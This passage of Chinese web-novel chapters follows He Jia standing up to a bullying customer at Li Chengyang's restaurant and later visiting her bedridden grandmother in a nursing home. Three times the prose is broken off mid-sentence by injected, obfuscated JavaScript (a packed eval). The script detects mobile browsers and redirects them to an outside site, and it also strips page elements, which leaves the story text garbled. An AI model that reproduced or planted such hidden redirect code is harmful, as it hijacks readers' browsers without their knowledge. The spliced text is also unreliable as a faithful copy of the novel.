何嘉听见他提到自己,有些不安地攥了攥李成杨的衣角。 李成杨也朝前走了一步,低着头睥睨他:“有没有,监控清清楚楚。” 空气里弥漫着一股火药待发的气息,所有人的心脏都被这份压抑紧攥。 秃头男将香烟深吸一口,抬头尽数呼在李成杨脸上。 他又上前一步,一字一句道:“怎么?你他妈说是就是?你丫的还诽谤是吧?” 李成杨后顶牙关,全身的肌肉紧绷。 秃头男将烟灰弹到他脸上,又低头戳了戳他胸前的工服标志,语气掩盖不住讥讽:“他妈的,你一个送快递的硬气什么?老子把你店掀了信不信?” 躲在他身后的何嘉猛然皱了皱眉毛,这句话恶意十足,让她产生了一种巨大的愤怒。 送快递怎么了?送快递的就不可以硬气了吗?送快递的碍着你了?自己也不瞧瞧自己什么傻样,瞧不起谁呢?! 她感觉李成杨的手臂正在蓄力,只需要理智稍微出逃,这个拳头就会落在对方脸上。 秃头察觉他的意图,故意再激他一句:“打人啊?来啊?狗日的,不怕抓进去坐牢你就来啊,老子倒要看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他跟何嘉站在一起,语气咄咄逼人:“我操,老子在里面忍你们几个老头儿很久了,狗日的今天是不是要拼命?” 秃头男被他们手上的两把刀晃了眼睛,气势一下子矮了一截,“你们怎么?要杀人是不是?” 他身后的一行人见着状况不对,主动戳了他一下,暗示他算了。 “你走不走?嗯?你走不走?”何嘉咬牙切齿,眼神剜得他腿软,“我再给你个机会,你们要么立马滚出去,要么我就报警!监控里看得一清二楚!到时候绝对判你们寻衅滋事!” 几个男人将秃头团团围住,分别伸手去拉他的衣服,有人说:“走了哥,他们几个都不要命,不划算。” 秃头“呸”了一声,不相信她真的那么疯,“你真能砍我?你往这儿来啊。” “你可以试试!”何嘉真的将刀推到他面前,丝毫没有犹豫的神色。 秃头男摸不准她的心性,暗骂一声,说:“操,算你丫的有种。” “走了,哥,等会儿真报警了。”几个人将他推搡着离开,一路上骂声不断。 其中一个男人扯着嗓子吼:“这家店要杀人啊!谁他妈还敢去吃!” 张壅追到门口继续骂:“日你仙人!有多远滚多远!他妈的不要脸!” 他们的声音惊动长街上的店家,好几家店主都探头出来看这是怎么回事。 一行人的骂声纷纷扬扬,一直走到路口才停歇。 少了这桌专门挑事的客人,剩下几桌看热闹的也陆续陆续离开,饭馆最终回归宁静。 张壅和蒋姨询问何嘉有没有事,而她摇着头将水果刀搁在桌子上,有些没了力气。 她想动动右手,却发现李成杨还握着她的手腕。 他的视线留在她脸上,眼眸滑过很多不同的情绪。 “划到手没有?”他问她,语气恢复往日的平静,但又多了一种她从未见过的关切。 “还好,有一个很小的口子而已。”她将左手手掌拿给他看,上面确实有条红线一样的伤痕。 “等我。”他轻轻放开她的手腕,去前台翻翻找找,最后拿出一个创口贴。 他捏着创口贴回到她面前,声音很轻:“手掌打开。” 何嘉听话伸手,她的手心因为情绪激动还在发红,而他指尖轻触,将那张创口贴小心地贴到她的伤口上。 她觉得掌心的位置有点微微发痒。 李成杨站在灯光下,睫毛如同上个夜里一般拉长阴影。她也问他:“你的手腕没事吧?我刚才挺用力的。” 他看了眼那块皮肤,确实留下一个泛红的手印,手掌大小和她的尺寸一模一样。 “没事。”他说。 “那就好。”何嘉还处在亢奋状态,整个人止不住颤抖。 李成杨替她整理创口贴,抬头的时候语气柔软,他问她:“刚才怕不怕?” 14. 第14章 “怕。” 何嘉先点点头,视线停在他的脸上的时候又摇摇头,“但是后来就不怕了。” 李成杨放开她的手,仍觉得指尖残留着她的温度。 他突然变得很柔和,低头看她的时候眼里装满笑意。 “你很厉害,保护了我。” 她愣愣地看向他,被这句话一下抓住心脏。 李成杨当她还在紧张中愣神,伸出手轻轻抚过她的发顶。带着抚慰的意味,温柔地揉了揉。 “何嘉。你很勇敢。”他这么说。 何嘉仰头瞧他,看见他的眼神温润清澈,全身在暖光下发光。只需要再停留一秒,她就觉得自己快要坠进他深沉的眼睛。 不知道是因为还在亢奋,还是因为别的原因,她发觉自己的心脏又开始猛烈跳动。 一下又一下,清晰有力,却不是因为紧张。她想起那天的夜里,她也是这么望向他,初次发现自己能看见蝴蝶迁徙的震撼。 现在蝴蝶飞到他的眼底,让她一下子红了脸颊。 她低头抿嘴,耳朵的温度烫得异常。 “没有,没有的。”她有些呼吸不过来。 他却很肯定:“如果不是你的话,我刚才可能真的会打他,也许你下次见到我就在派出所了。” 何嘉感觉大脑眩晕,尽量让自己清醒一些,“我刚才只是觉得很生气,他们有点太过分了。而且,他们又是因为我才找事的。” “确实是他们过分了,没想到他们还会再来一次。”他想起她刚才张牙舞爪的样子,笑了:“只是我同时没有想到你会站出来帮我骂人。” 何嘉想起自己刚才凶神恶煞的样子,一下子萎靡不振。 那么穷凶极恶的样子都被他看到了…… 小姑娘觉得脸上更加燥热,站在原地不声不响。 他猜到她在想什么,主动解释:“你刚才很有魄力。”想了半秒又说:“像蜜獾一样。” “那是什么?” “一种野生动物。” 她不懂这是什么形容,抬起头问他:“为什么?” 他说:“很警惕,而且谁叫就咬谁。” 这算是在夸她吧? 她刚才吵架的时候都没有觉得头晕目眩,现在反而看东西像有重影一样。 她实在是不可以和他再这么说话了。 “老板,我要坐一下。”何嘉指着身边的板凳,故意和他隔开一段距离。 “嗯。”他点头,趁间隙走到饮水机旁接了一杯清水。 回来的时候递到她手边,“喝吧。” 何嘉颤着手心去端那杯水,整个人看上去还是很紧张。 她的发尾潦草地耷在脸庞,几根头发因为静电直直立在头上,看得出来有些发棕。 她喝水的时候会低眉,嘴巴张得不大,最多只是抿了几口,透露出一向防备不安的内心。 几抹嫣红留在她的脸颊,这时她的睫毛轻颤,如同往日那般习惯害羞。 这样一个透着稚气却又充满韧性的姑娘,就连坐在那里都看上去瘦小。 可她当时,坚决地站在他面前,她选择用自己的方式保护他。 李成杨无法将视线从她身上移开。 因为刚才发生的一切让他感到陌生,甚至是让他感到怪异。 他已经过了而立之年,见过太多这样棘手矛盾,他习惯独自面对困难,也想过用暴力解决问题,但他从未想过有人会坚定地为他挺身而出。 就像是一片黑夜孤寂太久,第一次见到闪烁的星星。 无知的人认为那是奇迹。 “何嘉,为什么开始怕后来就不怕了?” 他想知道这个问题的答案,是这十年中第一次感到困惑。 她喝完最后一口水,放下杯子的时候朝他腼腆地笑笑:“开始怕是因为怕他们闹事又要我赔钱,可是我既惹不起也赔不起呀。反正他也只是让我倒水,就算是刁难也没有特别过分,所以我觉得可以忍一忍的。啊,但是他又要吃我豆腐就很过分了。” 他沉默地盯着她的眼睛,试图从她的话里分析出一些别的东西。 比如她一直是这么勇敢的,难道不是吗?她上次不也知道保护自己吗? 她只是比同龄人成熟,太早知道人心险恶和社会现实,所以她害怕的不是他们刁难她,而是没有人能在她陷入困境的时候帮她托底,她得一个人承担后果。 所以她选择沉默,她得先忍一忍。 “那后来呢?为什么改主意了?”他又问。 “那个啊,”她摸了摸面颊,不好意思地说:“我来店里也不算久,他们就因为我找了两次茬,我觉得不太好……而且,他当时骂你了,我就有点生气了。还有,我怕你真的跟他们打起来了,他们几个人你一个人,万一受伤怎么办?” “就这么简单?”他眼神微动,喉头发涩。 “嗯,就是这样,我不想你因为我又赔钱了。况且当时你来了,我也不知道怎么就不怕了,反正我们也有两个人了啊。” 就是这么简单。 为一个人挺身而出的原因就是这么简单。 没有那么多弯弯绕绕,只是因为见不得他被骂,见不得他受伤。 “谢谢。” 谢谢她站在他身前,谢谢她考虑他。 “没什么的老板,他们这种人特别不要脸,不要脸的人什么都不怕,只怕不要命的人。但是我其实也有点害怕的,因为我怕他们万一也不要命了,那就难办了。” 她说这话的时候睫毛一颤一颤的,仿佛是在回忆刚才的场景。 李成杨长舒一口气,说:“是我冲动了,你做得很好,非常聪明也很大胆,比我跟他们打一架的方案要好。” 她狡黠地笑了:“老板,他们好几个人呢,要打的话你也打不过啊!” 几根发丝随着她的动作浮动,在空中划过几个漂亮的弧线,一如她面容那般光彩夺目。 他难得又露出酒窝,神秘地说:“不一定,要试过才知道。再说,他们在年龄上有点吃亏。” 何嘉想到他们几个确实都看上去不年轻了,至少是五十岁以上。 她赞同:“好像是诶。” 她的笑容落在他的眼里,如同白昼里的流星。 他如今知晓,面前这个年轻又懂礼貌的姑娘和他想的完全不一样。她是一颗寂静生长的榕树,郁郁葱葱、不骄不躁,但也能够掰坏栏杆,推到高墙。 “他们以后应该不会来了,如果来的话就跟我打电话吧。”他朝她附身,很郑重地说:“交给我,不要再自己处理这种事了。” 何嘉太久没有听到这种话,一时间觉得心里很暖,没来得及做出回应。 没得到回答,他歪头看她,“嗯?” 何嘉被他的动作吓到,一下从椅子上跳起来,撇过头猛地点头。 “好,好的好的。” 李成杨闻到一股香气,是从她发间传来的兰花气息。 他生硬地后退几步,咳了一声。 再看她,她的指尖交叠在身前,食指轻抠着指甲,脸上很红润。 是不自在的神色。 他突然就意识到她已经不是小孩了,刚才那样的距离确实不合适。 “去休息吧,等会儿吃饭了。”他转身,将空间全都让给她。 何嘉抓住时机说:“我要去厨房看看有没有要帮忙的!” 话音刚落,只一瞬间便消失不见。 李成杨错愕,伸出手挠了挠脑袋。 厨房里温度火热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242339|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,张壅和蒋姨忙着准备今天的晚餐。 见何嘉匆忙进来,张壅扬了扬锅铲,“你进来干嘛?出去呆着,这儿忙着呢。” 何嘉哪里舍得出去,刚才可是好不容易逃过来的。 “我来帮忙,有没有什么需要打下手的地方?” 张壅觉得她很神奇,“你力气多得用不完?才吵完一架都不用休息?” 何嘉噎住:“……不是。” 张壅兴致来了:“行啊你,我都没想到你这么狂野的。” 何嘉瞪他一眼:“怎么了嘛,没见过人吵架?” “那不是,”他回头给了她个眼神,“我是没见过你这么勇猛的。命都不要啦?还直接上刀子呢。” 她很诚实地说:“不,我只是怕他们打起来,老板打不过。” “……”张壅沉默一秒说:“那你可能误会了。” “嗯?误会什么?”她不解。 张壅语重心长地说:“他们就几个老头儿,不是杨哥的对手。” “他刚才也这么说。” “他说了啊?” “是啊。” “笑死我了。” “你是不知道他以前,”张壅继续说:“我师父就是他爸啊,以前跟我说过他小时候挺闹腾的,隔三差五翘课打架啊,反正犯事的时候少不了他。” 何嘉微怔,“老板以前是这样的吗?” “是啊,是不是还挺暴力的?所以对付那几个老头还是没问题的。” “嗯,有点没想到。” 他说:“但是他现在不这样了,你想啊,人年纪大了怎么着?还是要温和点,没有那种心气儿了。” 何嘉默默弯了弯嘴角,“你嘲讽他年纪大,小心我告诉他啊。” 他凑到她身边小声说:“切,你就说大不大吧,大你十岁都能让你喊叔叔了哟。” 何嘉被他逗笑,隔着玻璃往外瞧了一眼,视线正好落在李成杨眼里。 外面的李成杨被看得不明所以,奇了怪了,这两人说什么还说到他了? 张壅又忍不住说了句:“你看他,等会儿肯定要问我们又在说他什么,唉,老年人是这样的,对什么都特别在意啊。” “老板也不算老呀,三十多正直壮年。”她为他辩解一句,但又想起张壅刚才的语气,还是忍不住要笑。 李成杨透过玻璃看见她的梨涡,心里泛起一阵奇怪的情绪。 她和张壅什么时候那么熟了? “好嘞——”厨房这边的张壅一锅炒好,吩咐何嘉去拿个盘子,“在外面的消毒柜里啊,拿个大点的盘子。” “好。”何嘉掀开塑料门帘,出来的时候正好和李成杨对视。 李成杨站在消毒柜前等她过来,看上去像有什么话要说。 她觉得事出有妖,用一种极慢地步伐向他靠近。 他站着没动,视线有意无意落在她身上。 她打开柜门,实在忍不住问他:“老板,怎么了吗?” 他很沉重地看向她,“我告诉你个事。” 何嘉拿出一个白色的瓷盘,狐疑地说:“嗯?” “你听了自己心里有数。” “好。” “张壅结婚了。” “?” 她知道呀。 何嘉看他的神情一脸懵。 李成杨看她怎么好像听不懂一样,十分无奈地解释:“他挺爱他老婆的。” “?”她更觉得他奇怪,“所以……呢?这怎么了吗?”这是什么需要广而告之的事情吗? 这在他眼里却是:她怎么就听不明白呢?话都说到这个份上还不明显吗? 李成杨叹气,下定决心般说:“所以你跟他,没可能。” “……” 15. 第15章(修) “呃。我为什么要和他有可能?”何嘉实在是不明白,他究竟为什么要专门跟她提起这个话题。 李成杨被问住,眼睛瞪得很大,“你问我?你确定要问我?” 又用手抹了抹嘴巴,语重心长:“总之他结婚了,你们再有可能的话就不是很道德了。” 何嘉震惊:“我一直知道啊!我怎么会和他有可能啊?” “我看你对他好像有想法。” “老板,你从哪儿看出来的?” “没有吗?” “没有!” 何嘉被他的结论弄得哭笑不得,她真不知道他竟然会想到那里去。 “我对壅哥没有一点想法,一点也没有!” 她十分坚定地摇头,要将这个荒谬的结论甩出去。 “老板你真的想多了,我和他是普通的同事关系而已,现在没想法,以后也不会有想法的。”怕他不信又说:“我保证!” 李成杨迟疑地点头,“嗯,你知道就行。” 什么叫她知道就行?还不相信啊? 那她真是不知道说什么了,她对张壅怎么可能会有想法,再说了,就算暂时有点不一样的想法的人,也是…… 何嘉视线瞟到他脸上,最终只说:“我去送盘子了。” “去吧。” 厨房里的张壅等得不耐烦,“你干啥去啦?拿个盘子要那么久?我还以为你掉坑里了。” 何嘉心情复杂地看着他,“壅哥,你觉得我这人怎么样?” “什么怎么样?” “就是人……怎么样?和谁比较有可能一点?” “滚滚滚,什么有可能没可能的,我忙着起锅呢,别烦我。”张壅催她快点出去,怎么问这种乱七八糟的问题。 何嘉觉得有道理:“那我先出去了。” 张壅出来的时候他们已经坐在桌边,他先看了眼李成杨又看了眼何嘉,两个人都干坐着不说话。 离谱。 他问:“你们俩干嘛不说话?不说话跟死人一样。” 李成杨撇他一眼,没理。 何嘉假笑一下,也没理。 “神经。”他无语。 一顿饭吃好,李成杨先离席去穿外套。 何嘉想起自己还有事要说,急忙跟在他身后。 “老板等一下,我跟你说个事情。” “嗯?”李成杨以为她又要说刚才的事。 “我想请两天假回家,可以吗?” 原来是正事。“具体多久?” “嗯…就明后天吧,我回一趟安城要两天,明后天又正好是周末。” “可以。” 她很高兴:“谢谢老板,我周天晚上就回来。” 他说:“嗯,注意安全。” “好的,老板再见。” 他的背影在黑夜里越走越远,一阵寒风吹进门帘打在她脸上,什么也没有留下。 天气预报说接下来的几天都会降温,气温趋近零摄氏度。何嘉准备了上次新买的外套,周六这天正好全副武装。 早晨的余川起了雾,街道上行人寥寥可数。 何嘉坐在一辆破旧的大巴上,摇摇曳曳两个小时,终于抵达安城。 “喂?林姨,我今天回来了,先回老房子一趟再过来。” “哎好,小嘉你先回家收拾收拾再过来吧。” “嗯嗯。” 电话挂断,何嘉已经穿过一条堆满杂物堆的长廊,此刻停在一扇生锈的深绿铁门面前。 好几个月没回来,门上积了一层灰褐色的灰尘。灰尘之下掩盖着几个卡通小人,仔细去看全都出自一人之手,线条童稚粗狂。那是她的杰作。 2004年那会儿《成龙历险记》风靡整个小学生群体,八岁的她特别喜欢小玉这个角色。 某天放学,她看这扇门擦得真干净,突然来了兴致,摸出只签字笔就往上画。瞧,画得真像小玉啊,她也要像小玉一样英姿飒爽! 可是非常不巧的是刚画上就被王丽琼看到了,王丽琼气得要打她屁股,“擦都擦不掉!你一天往哪儿画呢!看我不把你屁股打烂!” 何嘉吓得满屋子跑,屁股烂了都没当成小玉。 当年多么令她恐惧的场景现在忽然变得让人怀念,她意识到时间早过了十四年。 拂开灰尘,属于她的小玉还站在那里。 屋内的陈设同她开学前的样子一模一样,一室一厅,没有多少家具,客厅只有一张木质沙发,旁边摆着一套桌椅,其中一个桌腿高低不平,垫着几张旧报纸。 空气里还保留着夏天时候的潮湿,闻起来有点刺鼻,一股东西发霉之后又被阴干的味道。 何嘉沿着屋子找了一圈,没看到哪里发霉,倒是在厨房的案板上看到一个忘记清理的饭碗,里面的米饭已经发霉变黑,酸臭味挡都挡不住。 上次走之前怎么连这个都忘了? 她忍着想吐的感觉找了个袋子,将碗直接扔掉后重新擦洗了案板。 做完这些后,何嘉回到卧室将床上照着的塑料床罩移开,花里胡哨的床单露出来,那是王丽琼的审美。 她打开衣柜看到几件属于王丽琼的衣服,给林桂兰打了个电话。 “喂?林姨,我阿婆还有没有什么需要的东西?我可以从家里带过来。” 林桂兰说:“好像都有了,平时缺的东西我直接在这边买的,你直接过来就好。” “好。” 从小区出来要坐113路公交车,距离“华阳敬老院”有21站,几乎是起始站到终点站。 一路上她心情有些紧张,不知道是这几月都没见到阿婆还是因为有些近乡情怯。 七上八下两个小时终于到站,她提着一袋苹果走进养老院。 虽然王丽琼已经不能吃苹果了,但是她是想买点过去。 推开熟悉的房门,病床上躺着一个皮肤干瘪瘦小的老人,她是睡着的,只是嘴巴大张没办法闭起来。 林桂兰从椅子上站起来迎接她,“小嘉来了啊。” 何嘉将苹果递给她:“林姨给你吃的。” 林桂兰说:“哎呦怎么还提一袋苹果过来嘛,你阿婆吃不了我也不好意思吃呀。” “没事。” 何嘉走到病床旁边,看到床上的王丽琼皱着眉头,像是在忍痛的模样。 “她还能感觉到痛吗?”何嘉问林姨。 “应该是感觉不到了,这个病到后期就是没知觉的,我前几年照顾过的病人都是这样的。” “好,那就好,不痛就好。” 不要让她的阿婆再感到疼痛就好。 王丽琼原来有一头特别漂亮的小卷发,现在却留着寸头,头发已经全部变白,甚至眉毛也出现白色。 她已经很苍老了。 何嘉替她掖了掖被角,听见她的呼吸微弱。 无论见过多少次,她都还是没有办法将原来那个风风火火的王丽琼和现在的阿婆联系起来。 她很瘦弱,身上没有一点肉,手臂的骨头僵硬凸起,看上去经不住一点差错。 这十一年的后半程里,她每日都卧在床上,不能自理也没有自尊,从前她是一个多么精明能干的老太太,出门总是要穿着精心挑选的促销裙子。 她说:“人穷也要有体面,把自己弄得像个要饭的脸上都羞得慌。” 可现在呢,她的身下垫满尿垫,为了方便清洁片缕不着,她只能等别人替她收拾失禁后的残局。 她不能说话了,也没有体面了。 何嘉忍着喉咙里的涩意,转头深呼吸。 过了半晌她平静下来,问林姨:“我妈呢?” 林姨语气沮丧:“你妈妈本来说这几天回来的,但是你也知道她在江州也有自己的生活,那边的小孩说是什么来着……?出国?她现在走不开。” 自己的生活?自己的生活就是她有另外的家庭了,这个家庭与她和王丽琼无关。 林姨怕她伤心故意没有这么说。 “我知道。可是她为什么都不来看阿婆?只是回来看看都不可以吗?她明明说了会回来的,阿婆现在都这样了,难道还剩很多时间吗?” 林桂兰摇头,“小嘉,你也别太怪你妈妈,养老院这边一个月五千都是她在付,费用不低的,一年要花六万多都是她在承担。你想啊,她在那边也有家庭的,还有小孩要养,这个钱花了老公那边肯定有意见的,你妈妈做到这个份上也不容易。” 何嘉怎么不懂,她只是心里失落:“我都知道的,只是我……我也是她的小孩,但是我一出生她就不要我了,是阿婆把我带在身边我才能长这么大,我肯定跟阿婆感情深。 我也不是要怪罪她,我……我只是……我只是不明白,她不来看我就算了,可是为什么也不来看阿婆?这是她妈妈啊,她妈妈……” 林桂兰拍了拍她的背,语重心长:“小嘉,这些话本来不是我一个外人该说的,但是都说到这儿了。你妈妈没管你肯定是有问题的,但是你阿婆这儿,她已经比很多人做得好了。 人到中年真的不是那么容易的,上有老下有小,白天挣钱晚上带小孩,还要受公婆的气,但是她这么多年都在供她,比她那个没出现的弟弟好太多了。” 这个弟弟何嘉也认识,是一个自从阿婆生病后再未出现的舅舅。 王丽琼身体还好的时候给他买房,那个时候他经常回老房子看她们。他每次回来都要给何嘉买瑞士糖,水果味的五颜六色。 何嘉一度很喜欢他,也很喜欢他回来看阿婆,因为王丽琼也会给他做一桌子蹄花,他就喜欢吃这些。 然而王丽琼开始发病后,他就渐渐不来了,他说自己要出差,哪有那么多时间守在她身边,再到后来,他真的再也没出现过。 “可笑。”何嘉觉得生活真是一出黑色幽默,“我阿婆之前对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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每次想到这些我就不知道自己该以一个什么样的心情面对她们,大人的事情真的,真的……好复杂,矛盾的事情怎么可以同时发生呢?” 真的好复杂。她明明也是大人了,却怎都搞不懂这些难题。 她不知道,人就是很复杂的动物。 林姨站在她身边,忍不住抱住她:“没事的乖乖,这不是你该想的事情哦,大人的事就让大人自己处理,你摆正自己的心态就好了,没关系啊,这些不是你的问题。” “我知道的,我知道我不该想这些。可是,我自己没有办法处理自己的想法。我很纠结,我真的很纠结……阿婆这边对我很好,所以我就总想大家也对她好,但是…当我知道她对我妈那么坏,我又觉得她没有那么好,我怎么会有这样的想法呢?我觉得很愧疚…… 我知道我妈对我不好,她根本不要我,我觉得她很坏,但是…但是她又一直供着阿婆,然后我就觉得她又不是那么坏了…唉…我真的,真的不知道该怎么说。” “小嘉啊,你要晓得,这些事情都是她们自己的事情,不管你的事啊,你只用记得哪个对你好哪个对你不好就行了。除此之外,不该你来思考,都是上一辈之间的事情,你个小姑娘思考这些纠结这些做什么哦,你该好好读书好好去耍一耍!” 何嘉愣在她怀里。 这些真的不是她该考虑的事吗?可她还是忍不住要纠结。但是纠结有什么意义呢? 她忍不住要哭:“我知道了,我知道的林姨。谢谢你林姨,你照顾我阿婆这么多年了,真的辛苦了,要是没有你她该怎么办啊?她怎么办?” “哎呀,没关系,”林桂兰心里也发酸,眼角浮现水光,“没事的乖乖,我经验足嘛,都照顾过好多病人的,你阿婆这边一直有我,你平时莫担心晓得不?你在那边读书也是一个人,要照顾好自己,不要生病,要多吃点饭,你看你都那么瘦的呢。” “好……”何嘉的泪水滴在林姨肩上,林姨替她抹了抹脸颊。 “不哭不哭,那么乖的小女娃娃不哭啊。” 何嘉尽力挤出一个微笑,“嗯,我不哭。” 她不哭,以前王丽琼也这么说过。 她五年级的时候王丽琼病了,不能再照顾她了,她要被送去住校,一个月才能回来一次。 何嘉在学校盼星星盼月亮,总算盼到放月假的时候。 她回去看王丽琼,要跟她说好多好多学校发生的事。 比如“阿婆你都不晓得我们那个数学老师有多好……那个叫xxx的同学他真的好讨厌……我最近吃了炒牛肉真的好好吃,但是没有你做的好吃……” 王丽琼那会儿还可以讲话,甚至会跟她一起聊好久的天。 月假只有一天半,每到该搭车回学校的时候何嘉都要哭鼻子,她说“阿婆我不想去学校,我想你,我还没走就开始想你了。” 王丽琼笑着骂她两句“没出息,那么大了还要想阿婆”,然后重复同样一句话—— “嘉嘉,不哭啊,你自己在那边照顾好自己,要乖哈,不要想我,要好好读书,听到没有?不要想阿婆。” 听到了,这么多年她一直没忘。 只是夜深人静的时候她还是忍不住要想她。 阿婆现在正在做什么呢?嘉嘉真的好想她。 16. 第16章 回到老房子莫约晚上八点。 何嘉煮了半袋汤圆来吃,不知道怎么的,她觉得好饿。 她得多吃一点东西,那样才会觉得稍微有点安全感。 汤圆是花生红糖馅儿的,咬在嘴里齁甜。她以前很爱吃甜食,现在却一点也不喜欢。 碗里的热气飘在她的脸上,她一低头,两滴水珠落在碗里,几圈涟漪。 不哭,不哭。 她深呼吸几口,眼睛朝上看。 哭什么呢,刚才明明都哭过了。 可是一股巨大的酸意攥住她的心脏,让她透不过气。她觉得无助应该是黑色的,那抹黑色此刻攀上她的背脊,让她整个人都动弹不得。 她内心不安,但更多的是迷茫,她想到王丽琼躺在病床上的样子,她看不到未来。 “叮咚叮咚。”手机被她放在桌子的另一边,非常不合时宜地振动两下。 她咽下嘴里的甜腻,伸手去拿。 屏幕显示两条消息。 【你没拿钥匙?】 【图片.jpg】 一把铁钥匙安静地躺在吧台上,无人记起。 何嘉回复:【今天走的时候忘记了。】 李成杨说:【那你明天回来怎么开门?】 她呼出一口气,比刚才平静不少。 何嘉:【老板,我应该晚上九点就回来了,那个时候壅哥应该还没下班,店里有人。】 李成杨回:【也行,我把钥匙放门口花坛里了,要是没人你自己找。】 何嘉说好。 她还捏着手机,不知道怎么现在突然不想一个人,如果可以的话,她很想有人可以和她说说话。 她需要有人可以陪陪她。 斟酌半分钟,她慢慢打了一行字。 【老板,你现在在忙吗?】 对方没有立马回复。 何嘉盯着对话框,近乎执拗地等着。 大概过了五分钟,他才说:【在吃饭,怎么了?】 何嘉:【在店里吃的吗?】 李成杨:【嗯】 何嘉:【吃的什么?】 李成杨很疑惑,平时从来不跟他聊天的姑娘今天怎么问这些? 他看了眼桌上的菜,开始打字:【小炒牛肉,滑肉汤,清炒白菜,蒸蛋。】 【好吃吗?】她又问。 李成杨更觉得奇怪,怎么回事?今天怎么揪着吃饭的事情不放。 他想了会儿,昨天她说请假干嘛来着?回家是吧。在家里怎么了吗? 张壅坐在他旁边问:“咋的?吃饭还回消息啊?谁啊?” “何嘉。” “她不是回家了吗?有事啊?” “不知道。” “她说啥?” “问我忙不忙,在哪吃的饭,吃的什么,好不好吃。” “嗯?”张壅塞了一口牛肉,“和家里人吵架啦?” 李成杨不知道他怎么得出这个结论的。 “别乱猜。” 他很自信:“你那年纪是不懂我们年轻人滴。突然问这么无聊的话题要么是心情不好,要么是想你了要和你聊天。我猜想你是不可能的,多半是心情不好,要不然人家哪能关心你吃什么?” 虽然李成杨对他攻击自己的年龄很不爽,但是觉得莫名有道理。 正要回复“好吃”的时候手机一把被张壅抢过去。 “你皮痒了?”李成杨嫌他烦。 他却打开相机自拍了一张。 图片里是张壅比耶的造型,身后有刚才说到的一桌子菜,还有李成杨想揍他的表情。 何嘉收到这张照片的时候微微愣住,忍不住双手放大去看。李成杨皱着眉头,表情有点无奈还有点烦躁,但是依旧非常赏心悦目。他前面的张壅笑得一如既往,不用想都知道这张照片的始作俑者是他。 莫名,就还有点和谐。 何嘉擦掉脸上的泪痕,稍微弯了下嘴角。心里没有那么荒芜了。 这时李成杨发来一句:【张壅欠揍。】 何嘉说:【没有,看出来饭挺好吃的。】 他本来想发一个“?”,还是算了。 【嗯。】他说。 何嘉将这张照片默默保存下来,突然觉得心里某个位置正在试着冲破那抹黑色,尽管力气微弱,但还是在试着这么做。 很合时宜,他的消息总是很合时宜。她默默想了这一句,放下手机。 汤圆还飘着热气,她将它们全都吃掉一个不剩。 接下来的一天何嘉很早就去了养老院,一直陪在王丽琼身边。 她现在大多数时间都在睡觉,只有一两个小时是清醒的。 这次醒来发现何嘉就在身边,她一直盯着何嘉看。 “怎么啦,阿婆不认识嘉嘉啦?”何嘉坐在她身边握着她的手。 她的手很僵硬,皮肤也变得松弛。 王丽琼张着嘴发出几个音节:“jiajia——” 何嘉朝她微笑:“对,是嘉嘉,嘉嘉回来看你。” 她依旧盯着何嘉看,只是嘴巴张着发不出其他的音节。 何嘉给她擦手,眼神柔软,“阿婆,你要好好的啊,听到了没?你以前也是这么跟我说的啊,要好好的。” 她眼神黯淡,眨了眼睛又好像没有。 “阿婆,你要再坚持一会儿好吗?上个月我考完研了,现在成绩还没出来呢,不过应该快了。你要看着我去读研究生好不好呀?” 她还是这么看着她。 “阿婆,你不是说当老师好吗?我考了研究生就是去做老师呀,以后回来做老师好不好?你以前总说当老师特别好,工资稳定还体面,那我以后就去做老师,到时候你还可以跟别人吹牛说你幺孙是老师呢。” 她没有回应,其实她们谁都知道,王丽琼再也不可能开口和别人吹牛了。 何嘉将她的手放进被子里,又贴在她耳边说:“阿婆,你再叫叫我,再叫叫我好不好?” 王丽琼艰难地动了动嘴巴,这次好像怎么都发不出音调。 何嘉俯在她嘴前,抿着嘴不说话。 “jia——” “jia——” “嘉……” “对,嘉嘉,是嘉嘉啊。” 何嘉猛地点头,眼里的情绪汹涌。 “是嘉嘉,我是嘉嘉,阿婆你不要忘了我,我是嘉嘉。你再坚持一会儿好不好,我是嘉嘉,我在外面把自己照顾得很好,你说…你说我在外面要乖,要好好读书,我都做到了的,我好好读书了的,我也听你的话了……我没有经常想你了,我真的很努力了。阿婆……” 她将脑袋埋在阿婆手边,心脏不断下坠,她没有办法,她什么都没有办法,她不能改变什么,她无能为力。 以前以为长大了就可以办成很多小时候办不成的事,但真的长大之后才知道,大人的世界根本不允许你再有这样的幻想。 办不成的事一辈子都办不成,现实永远变不成想象。 “jia……jia……” 王丽琼又叫了她一声。 这次她尽力将自己的情绪藏起来,“嗯,我在。” “……” “阿婆,怎么啦,你不喜欢我哭对不对?我没哭,真的没哭,你看我脸上,没哭。” 王丽琼眨了眨眼睛。 何嘉强忍着的那滴泪水落到王丽琼的手上,让她无意识动了动指尖。 “哎呀,被你发现了。”何嘉装作微笑的样子。 …… 从养老院出来之前何嘉又叮嘱她一遍:“阿婆,你再等等啊,过年的时候我再回来看你,你好好的,不要想我啊。” 王丽琼累了,早已闭上眼睛睡去。 再检查一遍她身上的被子,何嘉小心翼翼地推开房门又关上。 现在她坐在去汽车站的公交上,不知道怎么突然也觉得累了,明明是两天之中发生的事情,却好像过了很久很久。 这两天她的情绪一直不稳定,不是在担心就是在焦虑,甚至昨天躺在原来的房间里也没怎么睡着。 一晚上总是浮现许多从前的记忆,混混沌沌不分现实和梦境。 公交车被路上的坑洼颠簸两下,让她不自觉陷入梦乡。 